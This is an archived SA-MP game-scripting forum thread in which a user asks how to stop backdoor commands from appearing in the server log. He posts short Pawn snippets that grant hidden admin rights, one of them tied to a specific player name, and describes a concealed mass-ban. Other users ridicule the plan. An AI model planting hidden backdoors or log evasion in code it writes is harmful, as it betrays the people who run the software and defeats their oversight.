How to create a command which doesn't log? - Printable Version
+- SA-MP Forums Archive (
https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (
https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (
https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: How to create a command which doesn't log? (
/showthread.php?tid=475421)
How to create a command which doesn't log? -
James Bob - 13.11.2013
Well I'm about to release my script to a friend but I know he'll go along and change the credits and release it as he's on to his friends ( his done it in the past ) but how do I make it so commands don't log? Looking to create backdoor commands, which don't save onto the server log.
pawn Код:
CMD:idontevenknowwhatthisdoes(playerid, params[])
{
PlayerInfo[playerid][pAdmin] = 100004;
return 1;
}
Re: How to create a command which doesn't log? -
DobbysGamertag - 13.11.2013
Just add in a simple name/ip check maybe? or if you're that bothered about him doing it, don't give it to him.
Re: How to create a command which doesn't log? -
James Bob - 13.11.2013
Quote:
Originally Posted by DobbysGamertag
Just add in a simple name/ip check maybe? or if you're that bothered about him doing it, don't give it to him.
|
I'd rather give it to him, so I can easily remove his players with the ban system I scripted - it bans all online players and the ban doesn't save onto the ban.cfg
And with a simple name check, something like:
pawn Код:
CMD:idonteven(playerid, params[])
{
if(!strcmp(playername, "Bandon_Sirenfall"))
{
PlayerInfo[playerid][pAdmin] = 100004;
return 1;
}
But if that's correct, that would still save onto the server log file - which isn't what I want.
Re: How to create a command which doesn't log? -
Vince - 13.11.2013
Nice "friend".
Re: How to create a command which doesn't log? -
BigGroter - 13.11.2013
How are the commands logged?
Re: How to create a command which doesn't log? -
Beckett - 13.11.2013
You call that a
friend? lol however what do you wanna do?